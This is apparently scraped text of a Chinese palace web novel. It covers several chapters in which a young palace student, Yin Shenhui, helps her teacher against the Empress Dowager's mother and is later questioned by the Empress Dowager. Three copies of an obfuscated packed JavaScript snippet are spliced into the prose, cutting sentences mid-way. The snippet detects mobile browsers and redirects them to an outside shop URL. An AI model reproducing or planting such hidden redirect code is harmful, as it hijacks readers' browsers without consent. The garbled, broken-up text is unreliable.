一个声音自身后还未走出的花园深处传出,带着高亢的怒意,几株参天楹树挡住视线,尹慎徽本不欲多听与自己无关的闲事,正要离开,却在听到第二个人声时停下脚步。 “臣不敢。” 是何女官? 这声音尹慎徽再熟悉不过,可以说除了窦率容,她是尹慎徽在睿思宫最熟悉的人了。 听声音,似乎是何女官在被训斥,尹慎徽略走前一点,侧过树干,花园水道上的小亭前,何女官正躬身以正礼,她面前站立的是一位衣着华贵耀目的宫装贵中年美妇人,身后还有两个捧着锦盒的宫女与内监屏息低头,不敢言语。 11. 第十章 第十章 何师范跪得笔直,声音有着一丝疲倦的嘶声哑腔:“夫人言重,臣不敢冒犯夫人,适才太后銮驾尊前,奉旨行言,分忧解难,绝无私衅之意,请夫人明鉴。” 此言辞清气正,虽是迂让之语,但不卑不亢,以臣自称,尹慎徽还是第一次见何师范如此风采,即便是臣下的礼节让她躬着身子,也不失端正之态。 “何惟明,你不过是个小小的女官,安敢在我面前巧言令色?尚书内省没了人才选你上来充数,你当我不知么?你口口声声为太后分忧,可给我添堵,又如何给太后分忧?” 再看盛怒至极的宫装美妇,她大约四十年岁上下,圆面容华,尹慎徽注意到她全身无有任何金饰,发饰以淡乳色盈润的美玉簪伴以玳瑁枝钗,身不缀环佩,近乎为白的缥色宫装外压着浓似灰黑的元青色披帛,这是服丧的打扮。 先帝驾崩,京官及勋贵亲爵家中一年不许婚嫁宴饮歌吹鼓乐,前百日更要服臣对君之朝国之孝,根据日子变化,一应衣着更替规制参比为父母服丧。百日后虽然也不能穿红挂绿到处招摇,但除了先帝的亲眷皇族,其余人家均可除孝回归正常生活。 现下先帝驾崩过了有半年多时日,此美妇如此穿着,加之气焰腾盛,敢对尚书内省女官如此言语,想必和先帝有亲眷关系。 与其被发现在偷听,不如现身,至少有外人在,这人再嚣张,也未必敢真派人动手打尚书内省正儿八经的女官。尹慎徽不想何师范遭受刁难,又觉此法也没什么风险,干脆迈出一步,诶呦一声,将手中捧着的全部《说文》撒往地面。 果然众人皆不再争执,朝她看来。 宫中规矩她十分清楚,行礼也是行云流水,好像是东西撒了才在茂盛的花木后发现人,惶恐道:“宫生尹慎徽奉命经此,不想冒犯师范与贵人,还望恕罪。” 何师范看见是尹慎徽,这才略显慌张:“请夫人恕罪,此人是新晋宫生,莽撞无礼,睿思宫教导责无旁贷。”言毕示意尹慎徽上前再拜,“尹慎徽,这位乃是当朝太后之母,圣上钦封的澎国夫人,还不拜见?” 尹慎徽心下一惊,这居然是太后亲妈,怪不得要给女婿戴孝,等等,好像哪里不对,算了,现在不是玩伦理哏的时候。 她上前站在何师范身后一步,恭敬拜道:“宫生尹慎徽拜见澎国夫人。” 不等澎国夫人拧着眉开口,只听又一声自众人身后传来。 “尹慎徽,黄师范催你拿书催得紧,你却在这里,你……” 声音是洪嬷嬷的,她走出来,仿佛才看到众人似的,慌忙上前,与尹慎徽和何师范的礼数不同,她所行的,是宫人的大礼,之后才开口:“睿思宫领掌宫女洪玉娴见过澎国夫人,向夫人问安。” “这路平时一个人没有,怎么今天我找何女官问个事,一下子冒出了一老一小?” 澎国夫人冷笑的声音听得人不适,如果不是怕死第二次,尹慎徽一定要好好问问,你们家问个事用刚才的语气?刚才你和何女官都在你女儿面前,你怎么不问? 没想到,一直温柔和亲的洪嬷嬷却率先开口:“回夫人话,此地乃是睿思宫伴园,后头正是存放日常用度物件的杂库,睿思宫人往来此处甚频。这些日子睿思宫人员不够齐整,太后还在辛劳调度,宫里宫外忙上忙下,还得这刚入宫没几天的小宫生跟着跑前跑后搭把手,若有冲撞的地方,夫人还请见谅。夫人是太后至亲,睿思宫侍奉太后,自对夫人礼敬有嘉,也请夫人多多照拂,看在睿思宫为太后劳心尽力的份儿上宽宥一二,睿思宫上下必定感戴夫人恩德。” 尹慎徽心下惊赞,这就是语言的艺术了。洪嬷嬷先表示诶呀很冒犯是我们的错,但看你是太后的妈我们是太后的臣下份上,今天大家都各退一步。而且尚书内省这么缺人,太后还用不过来,你身为太后的妈不会这么不体谅自己女儿的难处吧? 何女官方才的回话立刻显得过刚有余,余裕不足。 经自己和洪嬷嬷这一闹,澎国夫人的气焰没有方才的盛意,似乎揪住何惟明只是为了撒气一般,如今有旁人在,她仿佛也有所收敛,只冷冷道:“尚书内省真该好好教教规矩了,从上到下,无一有度。何女官,你方才在太后面前的话,不若再回去想想,今后如何,可别再让太后为难。”言毕带着松了口气的随侍离去。 三个人屏息待人都走了,尹慎徽轻轻出了口气。 “别光顾着大喘气,书呢?” 刚刚一席话语管教对方以礼而退的洪嬷嬷忽然提醒。 尹慎徽慌忙跑过去捡,她低着头,看不见两人的神色,可很快,洪嬷嬷和何师范一道过来,帮她把剩下的书捡起来,三个人一人一摞,一起往睿思宫走。 “方才吓到了么?”洪嬷嬷边走边笑着看尹慎徽。 “嬷嬷,我没事,澎国夫人再凶悍,也不比刘学正早晨检查背诵时有人背错了的语气可怕。” 何女官和洪嬷嬷一齐笑了出来。 你要问一个学生,那肯定还是老师更有威慑力。尹慎徽绝没巧言令色,她说得是心里话。 “刘学正那是为你们的课业负责,能和你在这冒失冲撞的贵人一样么?”洪嬷嬷刻板的温柔里终于带了一丝不那么僵化的柔和,“再说,你当真你何师范面这么说,是说她不够严厉?” “不不不!”尹慎徽对老师之间的攀比心理非常了解,未免受到池鱼之殃,赶忙表态,“何师范教育我的书写规范我牢记在心,不敢不当做严辞。” “好了,赶紧去发书吧,别迟了下午的课。”何师范笑过后把书稳稳摞在尹慎徽双手上,“这些日子你的书写进步很大,我都看在眼里,不要懈怠。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037464|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,谢谢师范,师范也要保重。” 尹慎徽领了书行了礼,绕过侧面的树林消失在视线里。 洪嬷嬷看她离去才收敛了笑,换做一副忧虑的面容转向何女官:“这是怎么事?我听和你一起当值的徐女官说,今日你开罪了澎国夫人,被揪住问责,赶忙过来,多亏有小孩子这个由头在,才好说话脱身。” “她是故意跳出来帮我的。”何惟明略略低了头,这时她不板着师范的那口气,疲态里透出一丝欣慰,“好在没连累她。” “平常也看得出这个尹慎徽在一众宫生里是有些见识与早慧的。不怪你之前说她可造。好像从前赵内尚夸你。赵内尚这些日子辛苦,顾不上旁的,轮值的事我叮嘱过,要你避开澎国夫人,怎么这回还是排在她来进宫的日子?” “嬷嬷辅佐内尚,也是辛苦了。怪我们这些后生晚辈不够争气,让二位费心劳神,我当真无能。” “哪里的话,是夫人她贪心不足,太后的意思是封侯的时缓一缓,夫人每次来都提,太后又不好直接说亲娘的不是,一问你们如何可有先例,你们就得实话实说。” “也确实是我朝没这个先例。往常皇后父亲封侯在所应当,只是衔爵不能承袭。太后的父亲是先帝所封,可惜走得早,爵位也没了。先帝驾崩后,夫人想为太后的长兄讨个侯爵,却是不行的。后族加恩,封父不封子,父死子不继,亦不能一门二侯另封。此事本朝从无例外,太后就算想恩荣家人,也不能破例。太后不能开口的事,正是我们臣下分忧之时。” “你呀,小时候就这么实诚。罢了,这事你去回了赵内尚,要她知道才好,在太后面前出了力,挡了刀,总不好没个人记功。你这些日子辛苦,自己的差事要顾着,这帮小兔崽子又不省心,少不了你点灯熬油操心。” “那也是该做的,我头次做师范,必定要做得好,方才能不辜负赵内尚的破格提拔,和孩子们看着我求知若渴的眼神。” “还求知若渴呢,吓得傻了吧她们。” …… 说完话,两个人便走开各忙各的,尹慎徽倒也不是故意偷听,而是她腰牌方才掉了,现下折返回来寻找,正巧听见。 原来何女官是为了太后搪塞亲妈被退出来挡枪。 看来不管什么时候,基层员工的死活都入不了大人物的眼。 那要怎么积极求生呢?变成更有价值的“工具”不成? 尹慎徽不想当工具,当然,她也不想被边缘化,失去实现自我价值的机会。可是这二者的平衡又在哪里? 想了又想,她忽得笑了。眼下对于自己来说最重要的还是好好学习,还没到思考这么严肃议题的时刻,还是好好想想,这书怎么补好,怎么读好才是上上之策,不然,留不下尚书内省,可供她选择的人生道路,也就没有那么多了。 12.第十一章 第十一章 “这书怎么破破烂烂的?” 窦率容心直口快,拿到了自己的《说文》非常担心因为书页破损原因不明造成自己挨罚。毕竟破坏书籍在睿思宫也算是罪过之一。她的话也说出了其他宫生的心声,懋青堂内,众人围着尹慎徽,小心翼翼捧着自己领到的书,都不免担心书籍锁线散架。 “头个夏天雨水太多,返潮返的。给,用这个补一补。” 尹慎徽往自己平素案头存水的青瓷小水盂里兑入德敬给的白芨胶和白矾,加上些温水调和,其他女孩跟着照做,可是白芨胶似乎不好化开,白矾也仍旧结块。 虽然德敬姐姐没有告诉自己比例,但本着面多了加水、水多了加面的生活小巧思,尹慎徽稍加尝试,便掌握了“多胶少矾”的最佳调配,胶质变作半透明的一小团,拿笔蘸了,涂在裁成小块的桑皮纸上,匀平,再粘补至书页脆弱空缺处,压实。难以驯服的混合物在尹慎徽手中似得了名师点拨,立即软化融合。 她动作熟练,操作利落,率先尝试成功,引得围着学习的女孩发出一阵阵惊叹,纷纷效仿。 同学们干脆站围起同一张桌子,用尹慎徽调好的半透明糊糊,你帮帮我,我帮帮你,数十条手臂穿来递去,头次上手,竟也将桑皮纸糊得有模有样。 窗外日影纤长,缤叶婆娑,鸟鸣声起,蝉响又落,刘学正巡视路过,看了看,又笑着离开。 女孩们多少是在最活泼好动的年纪,即便个性沉稳,也不免有少年心性,一起吃两顿饭,并肩走过去懋青堂的路,熟识之后,话也多了,不同于前几日的生疏,今日一起裱书补页,闲话层出,从哪个课不好上,学得心累,到哪个师范太严苛,见了胃疼,如此种种,尹慎徽听了亦是笑中含叹。 哪个世代的学生都不免感慨读书的压力,这是由筛选机制和无有更多优解决定的,眼下睿思宫的宫生需要面对的,一是宫中人手缺乏,尚书内省急于培养出合格的生员开始接手日常工作,二是她们底子似乎确实差一些,不免为达到前者的要求,被老师施加更大的压力,只一个月就有人夜里偷偷闷着哭,但她们却没有其他的选择。因没有考上和违反宫规被送走的同学就是例子。而睿思宫的生活,除了辛苦,从衣食住等方面来看,皆是目前她们能接触到最体面满足的人生。 尹慎徽觉得,还是不能小看小孩子的决心和意志,毕竟每个人都在坚持着往前走,走这条目前她们能遇见的最好最光明的人生的道路之起始。 秋风将凉未凉之时,骄阳将夕未夕之际,懋青堂窗边案侧,众人一起调配裱糊旧书,竟有些此时此刻青春年少岁月静好之感。 温水没了,尹慎徽让大家先用剩下的,自己去隔壁取一壶热水勾兑,回忆方才的同窗絮语之乐,这一路脚步都轻快许多。 烧热水的小炉子在懋青堂对面师范平素休息的屋子里,尹慎徽提着水壶刚走出来,见对面懋青堂窗户里,窦率容朝自己笑,也回了一个笑容。 睿思宫第三进的院门忽然由外向内打开。 “谁是尹慎徽,出来回话。” 这里没有师范,只有宫生,面对突然闯入的一众禁军,俱是惊骇呆愣原地。 尹慎徽也吓了一跳,可很快,她稳住心神,放好水壶,迎上禁军行礼道:“在下宫生尹慎徽,不知军士何事寻我?” 窦率容反应快他人一步,趁着这时间,已经顺着懋青堂小门溜出去找师范了,堂外静可闻针落,自禁军后绕出一年轻宫女,穿着比其他所有尹慎徽见过的宫女都要华贵许多,寻常宫女衣不锦绣裙不曳地,而此人秋香色裙带上都绣有吉祥的图案,气度也自有高华之态。 “跟我来吧。” 那宫女并不作任何解释,稍加打量,目光上下扫过尹慎徽后只吐出四个字便转身欲走。 “回女官,睿思宫有令,没有令牌宫生不得擅自离宫。” 尹慎徽表明规矩,那宫女竟也不回头解释,一面朝外走,一面扬手,手中赫然有着一面小小令牌,和宫生平素拿到的木制令牌样式无有区别,却是阳光下分外耀眼的金色。 “你们赵内尚的令牌够了么?走吧。” 尹慎徽心下一惊,赵内尚找她,何必要禁军又加生面孔? 难道是之前小花园的事? 但令牌应该没有假,尹慎徽只能跟着那宫女和禁军一道走出了睿思宫。 这时窦率容带了刘学正和洪嬷嬷二人,他们走得是另一条路,自宫外拦截,只是那宫女根本不停下来,可奇怪的是,刘学正与洪嬷嬷见到此人俱是面色一变,什么也没说,只是默默行礼,看着尹慎徽被带着经过自己面前。 徒留急得满鼻子是汗珠的窦率容在行礼后不安驻足,急切之情溢于言表。 尹慎徽想安慰她一句都没有空档,只能默默被禁军夹在当中,跟着排场极大的宫女朝不知何处走去。 禁宫内苑,尹慎徽这一年只在微末宫室行走,入了睿思宫,更失了四下走动的自由,今次由禁军押送,所走之路皆是过去行所未行。两侧宫室愈发巍峨,殿顶也自一重至两重,檐角瑞兽与往来宫人目不暇接,直到第一次见了一池静卧碧叶的潋滟池水,她才从紧张过度到危机。 虽没去过,但也知道,整个后宫离太液池最近的宫室,莫过于太后颐养天年的寿宁与颐泰二宫。 联想走在最前女官的做派与禁军的肃然,尹慎徽一颗心不住往下沉。她一向敏锐,却好在不会因这份警醒杞人忧天自乱阵脚。稍加思索,此事十分奇怪。 可是如果太后要给亲妈讨说法站场子,何必寻自己这个小宫生的麻烦? 除非需要自己这个在场者。 可她又能说什么?能做什么?显然一个她起不到任何决定性作用。 此时惟有走一步看一步。 一行人绕过寿宁宫正殿,一路瑞松嘉柏,芳兰馥莲,如果不是此刻疑窦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048193|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧绷,尹慎徽还真会因舒散高华的景致晃一晃最近读书疲惫的心神。 她没什么心思回味,已到了颐泰宫正殿外。 这两个宫室相连,尹慎徽不知道为什么太后要住两个地方。相较寿宁宫规格高,颐泰宫小上许多,待她入内,太监扬声通秉,禁军止步,女官与她二人进入宫中。 颐泰宫的正殿说是殿,殿内却没比懋青堂大,只是屋内陈设却大相径庭,尹慎徽不敢也没心思多看,因她见了赵时敏赵内尚也在场,坐在左下侧,而正在当中的便是天子之生母,当朝孟太后。 一阵令人迷炫的香气攀爬至鼻尖,从无到有,从有到无,往复返还出迷离幽若的恍惚,脚下柔绒细毯隔着鞋履,轻抚被甬道坚磐撑酸抵胀的脚掌。 尹慎徽牢记宫中规矩,并未抬头细看,只在俯首间闪过孟太后的一身素服,仿佛她头上半个钗环也无,惟腰间垂着一不知什么材质的盈润小方,不过枇杷大小,却在扫过的视线下流光濯然。 “宫生尹慎徽拜见太后,叩请太后安康。” “起来吧。” 孟太后言语轻平,听不出含怒还是含锐,与其说像太后,不如说像旁人引荐,初次见面的谁家姐姐。 尹慎徽起身时余光扫过赵内尚,她也可以说是面色沉静,只是嘴角有一丝难以察觉的紧绷。 “多大年纪了?是一个月前入睿思宫的那批小宫生?” 尹慎徽低着头,仍旧不直视太后:“回太后,宫生今年九岁过半。” “小小年纪又是新生,礼数和应对都很得宜,赵爱卿教导劳心了。” 尽管仍旧紧张,但尹慎徽也有种微妙的惊异,果然,尚书内省的女官和宫中的奴婢是不同的,可与太后同座论事,并被称为卿家臣子,在宫中之主心中的地位绝非宫中奴婢可比。 “太后谬赞了。说来惭愧,此女心性淳佳,入睿思宫才一个月有余,臣来不及教导什么,皆是晨昏之课陶然有序的功劳。” 赵内尚起身称谢后,在太后的示意下重新落座。坐下后又望向自己。 尹慎徽见过赵内尚的次数屈指可数,如今看她一副臣子之优渥厚待,即便身处危境,仍然忍不住想,如果是自己今日,该当如何? “既然你们内尚书对你的评价是心性淳佳,那想必定是个诚实的好孩子,来,你叫尹慎徽?朝前一步,不用害怕,你无需多礼,抬起头来告诉哀家,今日早些时候,你见了你何师范和澎国夫人,她们二人都说了什么?” 尹慎徽缓慢抬起头,映入眼中的是一张美到有些不真实的容颜:未有脂粉意,全然天成妆,憔悴不胜之态没有减损雍容国色,反倒平添了仪态万方的哀艳。 孟太后眉梢嘴角皆是温柔,无有半分肃怒相逼之意,垂问亦是微微颔首,双手拢于膝上,看得出表情与身姿都是松弛的缓态。 如此笑容,如此亲和,然而尹慎徽却脊背发凉,只觉刀剑已抵至喉头颈上。 13.第十二章 第十二章 尹慎徽深吸一口气,想好了应对,正要开口,却被赵时敏赵内尚抢先一句。 “太后,此事她一个孩子,想必当时已经吓坏,未免不能复述全貌,。” “赵爱卿,你是陛下的股肱,哀家的可信卿佐,如果是为了哀家母家的事非,妨碍了本应同协的君臣之谊,即便澎国夫人是哀家的生母,哀家也不会庇隐。” 赵内尚就差直接说尹慎徽小孩子不懂事听着玩的,但孟太后没打算糊弄,截断赵内尚的话后转头笑盈盈过来。 “回禀太后,今日早些,宫生去领书途径澎国夫人与何师范所在之地,澎国夫人似有怒意,斥责何师范不敬,不过夫人温厚,见宫生在此,没再说师范如何,待睿思宫领掌宫女洪嬷嬷来寻书,我等三人便一道回了。” 面子不说父,当徒不言师。就像不能当着孩子的面说父亲的不是一样,对着学生指责老师的不是也是不得体的行为。澎国夫人虽然今日训斥着实凶悍,但最后到底没有在尹慎徽面前多说什么,谈不上温厚,可回禀太后语境在此,就算她是吧。 至于斥责了什么,尹慎徽其实没有听全,如果妄加揣度后表述难免有失偏颇,对在场之人都是不公。 面对太后,她选择实话实说,但语言艺术的加工还是要有,而且加工的方式还要保留语言原本的味道。 可谓原汤化原食。 孟太后的反应却让尹慎徽看不出满意与否,她只是微微笑着,笑意中带了一丝愧怀,看回赵内尚:“委屈你们了。” 话音刚落,赵内尚立刻自座椅中站起,抱手礼揖:“太后折煞内省了,我等臣下皆为太后尽心奉事,不敢怠慢。” 尹慎徽跟着也赶紧摆出同样的动作来。 “母亲性急,但绝非不讲道理之人,是我让母亲伤心了。不怪你们。” 谁知孟太后画风一转,满怀自伤,措辞自称都换了。赵内尚反应奇快,惶恐不遑多让:“太后请保重凤体,此事还要从长计议,外朝评议未必皆是道德文章,许多事还需太后定夺,陛下年纪尚幼,还须太后立社稷之擎天,入砥柱之中流。” 尹慎徽下定决心,将来也要像赵内尚一样说话。 首先安抚太后,毕竟太后好管儿子却不好管妈,这一点上至九五至尊之家,下至平民百姓之宅,皆是一个道理。其次让太后专心教导国家的未来,外朝大概会有人笑话她妈端不上台面,但这可能是有目的行为,而非纯粹议论,提醒太后要有自己的决断不能被带了节奏。最后,肯定太后迄今为止所做的一切,鼓励她继续努力。 这水平,实在令活了两小辈子的自己感到汗颜。 果然活着就要学习,而学习本身没有止境。 孟太后显然也很满意,她的满意却不是笑和点头,而是侧过头,眼中竟有了泪意:“先帝大行,留下我们孤儿寡母在宫内,一应国事、家事,全无半点头绪,多亏赵爱卿从旁协佐,才不至让先帝于九天之上不得安宁。今日有此一问,绝非为难稚弱宫生,而是哀家如果心里没底,先教外头的朝臣知道了,岂不又是一场风波?还请赵爱卿多多安抚才是。” “太后此言,实在折煞微臣。” 方才领着尹慎徽来此的宫女再度出现,她手中捧着的托盘里装了几样文房。 “听闻何典录最擅书道,哀家见过她写得令旨,的确法则温雅,这是今年刚晋上的宣州太阆墨与威州鹤翎石雕的镇尺,还请赵爱卿代哀家转赐何典录,请她不必忧心挂怀,以她的才干,纵然往后的日子道阻且长,但必定苍天不负有心之人。还有你,你叫什么来着?” 尹慎徽心底一个激灵,表面却维持得十分持重:“宫生尹慎徽,谨听太后教导。” “很好,你进退得宜,推诚不饰,虽是年纪尚小,但前途不可限量。哀家赐你两支玉清竹笔,务必要勤于课业,效仿你们内尚书与师范,早日伴驾哀家与陛下左右。” “宫生谢太后恩典。” 笔装在锈有松竹的苍艾色锦匣内,尹慎徽两手捧着,跟从赵内尚再次拜谢后,一并迈出正殿的门。 赵时敏赵内尚走在前,也提着赏赐给何惟明何师范的锦盒,两个人一路都没开口,直到走出寿宁、颐泰二宫的方位,赵内尚才放缓脚步,轻轻地出了一口气。 尹慎徽觉得今日整件事的来龙去脉都有些不能言明的古怪,可她却不能直截了当去问内尚书,只得继续保持沉默。 “吓到了么?” 赵内尚的声音很轻,与其说柔和,不如说沉静。 “回内尚,有一点点,不过还好,太后人和蔼可亲,我也是实话实说,就没那么慌张。” “真的是实话?”赵内尚没有停下脚步,只是略略放慢行走,侧头含笑看向尹慎徽。 “太后和澎国夫人是母女,至亲骨肉的关系,亲亲相隐又相实,太后自母亲处早晚得知实情,我如果为了何师范有所隐瞒,教太后知道,只怕会有辱师范与内省的教诲,那时如果太后想隐护母亲,何师范和我岂不遭殃?” 听了尹慎徽的回答,赵时敏忽然停下,站着低头看向面前个子比同龄人小上一截的小女孩:“亲亲相隐,你是从哪里学到的?” 果然赵时敏作为半个教育工作者,对教学进度和内容十分敏感,不过尹慎徽早预备好了说辞,当即道:“《论语·子路》有云:‘父为子隐,子为父隐,直在其中也’,这些天刘学正带我们晨诵课上读《论语》,我听了不大懂,下课后去请教刘学正,她讲予我听的。她说这是世间最难矫饰的道理,这种道理就叫天理,所以尚书内省才更改我们的姓名,断却我们的来路,要我们没有可隐之亲,这样才能公正且踏实地为君王作内中官吏。” 这确实是刘学正讲过的话,非常符合尚书内省的价值观。 “这话说得,好像咱们是没有天理之人。”赵内尚低头一笑,“不过确实是实话啊……” 有时候人就是会被自己所言理清思路,尹慎徽自己的言语说出口,心下顿时明亮大半。 亲亲相隐,不止是犯罪,更可能是小事,如果孟太后真想关起门来和亲妈说话,难道何师范还会去敲门闯入硬是来听不成?可是孟太后却选择了在有尚书内省女官的情况下与母亲谈论兄长封爵之事,更询问何师范本朝是否有此先例,何师范实话实说,所谓实话,想必也是孟太后早就知晓的答案。而澎国夫人没有得偿所愿,也不能痛骂当了太后的女儿,一股怒意没处释放,只得找何师范兴师问罪才好受一点。人家是真母女,表面不伤和气,那受伤的就只有何师范了。 而告知了赵内尚,又有自己这个所谓“当事人”的证词,当外朝臣僚们知晓,孟太后又怎么能算是“亲亲相隐”了呢? 尹慎徽深深感觉到一丝惧意,现在回想起入殿后孟太后那个笑容,更觉毛骨悚然。 自己还有太多需要长进之处,总不能凡事都后知后觉,有些事如此倒是无伤大雅,但是有些事,怕不是今后要再陷死局。 被不受限制的权力撞死和被违反交通规则的泥头车撞死,在尹慎徽看来也没什么太大区别。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“那是必然的,我从前听家里老人说,宫里头妃嫔都是全天下选来的美人儿,太后既然是陛下的生母,那一定是美中之美。”窦率容对这一点深信不疑。 “下次要是师范问你课业,你再用美中之美这样的遣词造句,还是要挨骂。” 尹慎徽提及上次窦率容被批评的缘由,让她扁了扁嘴,满脸无奈:“字词不都是人造的,偏要我们用典有出。” “这是培养良好的习惯,今后在太后和陛下面前,问我们这句话有何用意,我们也能言出有据,解释得当。”尹慎徽是这样认为的,有时候恰当的引用本身就是一种免责声明,比如何师范说本朝史料没有任何先例的依据。 没有结果也是一种结果。 今天的社会课程学到的内容还真多。 但窦率容不关心这个,她是十岁的少女,最关心的是晚上还能不能在饭后弄点零食。 话题立即从孟太后倾国倾城的长相转移到了昨天吃过后令人赞不绝口的酥鱼和酱肉。 多亏睿思宫伙食上佳,如今尹慎徽也长了不少该在这个年纪长得身高和肉,比从前那个豆芽菜强多了。 总之,还没到她每日度过一关关真正考验的时刻,她也不需要面对莫测的上司。眼下这段不是校园的校园时光,应当是她最可以静心专注的时候。挽住窦率容的手臂,尹慎徽表示可以陪她去找找膳房还有没有餐桌上的漏网之鱼,但不管有没有,在此之后,睡觉之前,两个人得一起回懋青堂,互相检查明日《论语》的背诵。 14.第十三章 第十三章 “我让你们写短赋以练骈联对仗,这次大家写得比上次已有了许多进步。尤其是窦率容,你文里的那句‘夏始春余,叶嫩花初。暑敛风细,菡沃荷扬。’节候十分应景,既全了工整之妙,又添风物之趣。很好。” 懋青堂内,何惟明青衫负手,手中握着一张薄纸,踱步于宫生的座位间。窦率容被提到名字,规规矩矩站起来拱手:“谢师范谬赞。”但眼角眉梢还是略有自得之意。 “你且等等。” 何惟明行至窦率容前,尹慎徽正坐在此间侧,根据她多年读书的经验,老师这种急转直下的语气一般都有噩兆之意。 果不其然。 “我平素要你们多引经典章句化用自文,先引再创,无可厚非,窦率容,你能不能告诉为师,再告诉你的同窗,你这句‘夏始春余,叶嫩花初’引自何家名句,出自哪家集注?也把前后文给我们背一背?” 窦率容原本略沾喜色的神情转瞬惶惑不安,她生得高挑,自正康十三年考选入睿思宫已过三年有半,十四岁的少女正是抽发之龄,此刻已能与何师范几乎平视而立,但她的目光却半点不敢接触师范已略带了寒意的视线。 “是……是取自……”窦率容说不出话,脸也白红交替,尴尬至极。 这句尹慎徽是没读过的,出自哪里她也不知,但以这些年与窦率容做知己好友彼此的了解,她大概猜到了何惟明气愤的缘由。 “好,你不肯说,那我来说。”何惟明收起危险的笑容,化作怒意,“此句出自《文选》,乃是梁明帝萧绎《采莲赋》之中一句。你不肯说,是因为里面‘妖童媛女,荡舟心许’的荡冶之辞难以启齿,还是原赋里‘碧玉小家女,来嫁汝南王。莲花乱脸色,荷叶杂衣香。因持荐君子,愿袭芙蓉裳。’的媸艳之诗羞愧难当?” 在座宫生听罢有四目相视难以置信者,也有心怀惴惴不敢抬头者。尹慎徽心中叹气,但还是用眼神暗示窦率容赶紧道歉。 毕竟何师范不是为了骂她而骂,首先要纠正这个行为,其次则是将窦率容当做了负面典型,引众人以警醒。 窦率容这三年与尹慎徽互为挚交,彼此心领神会的能力极强,当即明白好友眼神之意,立即愧道:“请师范保重身体不要动怒,学生知错了,以后再也不看非礼勿视之书动摇心性了。” 见她好好表态,何惟明也不盯着训斥,只再狠狠瞪了尹慎徽都觉得瘆人的一眼后,走回堂前,沉声道:“你们这个年纪,心性若移,哪还好回归书卷,外面男人读书亦是如此。当下正是春闱之际,我可以负责任告诉你们,通过乡试来到帝京,入了这礼部贡院参加省试之人,哪个不是定心静性,能在圣人之书中耐得住寂寞?你们如今已学过四书,眼看要开《春秋》之课,若是为了这等淫词艳曲簇荡了慎独进学的心性,年中的裁试就要落第了!” 提到年中裁试,懋青堂寂静一片,茂华之春立变肃杀之秋。 “你们入睿思宫已三年有余,每个人都竭尽所能求学于师,求进于己,不说囊萤映雪披星戴月,却也是青灯黄卷不驰日课,如若因一时之性废了这些光阴的进取,你们如何对得住这三年来的自己?今日自己都好好想想。” 何惟明言简意赅结束昨日课业的点评,开始上课。她的此番言语却教宫生们心头震动,一时堂内只听得见窗外晨分清脆的虫鸣和五月春枝嫩叶的沙沙。 其实尹慎徽两边都能理解。 窦率容是即将十五岁的少女,豆蔻年华,读些杂书也不算什么冒天下之大不韪。而何师范担心的不过是青春期少女的怀春之情影响了学习进度,也耽误了个人的发展和心性的收束,不免略显躁切。 她作为朋友,也只能在放课后陪着泫然欲泣的窦率容走到僻静的地方,一面给她擦眼泪,一面心疼着叹息说出自己掌握不多的千古劝宽之名句:“往后,你就都改了罢……” “我也知道不该,但是师范让读的那些子书,实在是没有这个好看嘛……”窦率容眼泪忍了一上午,此时决堤。她比尹慎徽生日大了半年,但此时却像是紧挨姐姐的妹妹一般,蜷缩的姿态比话语更存委屈之意。 如果是前一世,尹慎徽未必会和窦率容成为挚交,但神奇的是,反倒在这封闭的环境中,两个人的性格却渐渐找到和融符洽之处,尤其是一年前。 尹慎徽挑灯夜读后的休沐日,难得睡了个午觉,却被满面泪痕的窦率容摇醒。 “怎么了?发生什么事了?”她没有起床气,倒被吓得够呛。 “小尹,我可能……就要死了。” 窦率容哀泣之悲让尹慎徽心神都乱了:“这是什么话?你快说怎么回事!” 可窦率容只是摇头,自怀中取出一个卷草纹的锦皮布包,塞进她怀里:“我也没什么好托付的,这里头有你之前送我太后赏的笔,我用得分叉了,你修修还能用,还有一些攒下的月银,最重要的是有串老榆木的木珠手串,那是我小时候离开家,爹给我凿刨的,虽然来了睿思宫,不许提这个,但我都要死了,收葬我的时候,你就一起埋了吧,我还有个姐姐,现下应该嫁人了……她叫朱翠翠,你如果今后能遇见她……不,你还是不要遇见了,你要好好留在宫里头……替我做个好女官……” 言毕,她保住尹慎徽,嚎啕大哭,恸声绕梁。 这个时辰,同学都不在住处,尹慎徽关心则乱,人命关天,就算只是普通同学,她也不能袖手旁观,更何况是平素就和自己多些交情的窦率容? “你是不是吃了什么不该吃的东西,食物中毒了?快告诉我是什么,太医来催吐还来得及!”尹慎徽硬是把缠在自己身上哭的窦率容掰开,摇着她的肩膀厉声质问,“快说啊!” “我……”窦率容哭得话都断断续续,“我也不不知道吃错了什么,晨起在身下,留了好大一滩血,此时腹痛难忍……我怕是撑不过今天了……小尹,我舍不得你……我……我舍不得自己的命……” 尹慎徽呆住了,许久,噗嗤笑出声。 这回换窦率容愣住,须臾后却哭得更大声:“你!我将你当做金兰挚交,托家献诚,你怎么能这样对我!我还没死呢!” 